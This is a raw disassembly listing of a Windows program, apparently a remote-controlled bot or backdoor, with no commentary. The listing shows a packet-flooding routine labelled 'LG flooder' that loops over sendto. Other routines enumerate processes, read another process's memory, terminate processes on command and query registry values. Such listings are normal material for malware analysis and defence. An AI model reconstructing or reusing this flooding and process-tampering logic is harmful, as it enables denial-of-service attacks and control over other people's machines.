pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call ds:dword_417238 ; ntohs mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call ds:dword_417238 ; ntohs mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call ds:dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call ds:dword_41709C ; Sleep mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: .text:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E2B0 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2AC, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2A0, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2A4, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41E2A8, eax cmp dword_41E2AC, 0 jz short locret_40603F cmp dword_41E2A0, 0 jz short locret_40603F cmp dword_41E2A4, 0 jz short locret_40603F cmp dword_41E2A8, 0 jz short locret_40603F mov byte_41E2CC, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E2B0 call sub_409C6C pop ecx movzx eax, byte_41E2CC test eax, eax jnz short loc_406074 push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E2AC test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call ds:dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E2A0 test eax, eax jnz short loc_40621B push [ebp+var_130] call ds:dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E2A8 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE30 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E2A4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call ds:dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E2B0 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aListProcesses ; "List processes" push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call ds:dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call ds:dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call ds:dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call ds:dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call ds:dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call ds:dword_4170A0 ; TerminateProcess push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call ds:dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call ds:dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset a08x ; "%08X" push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, 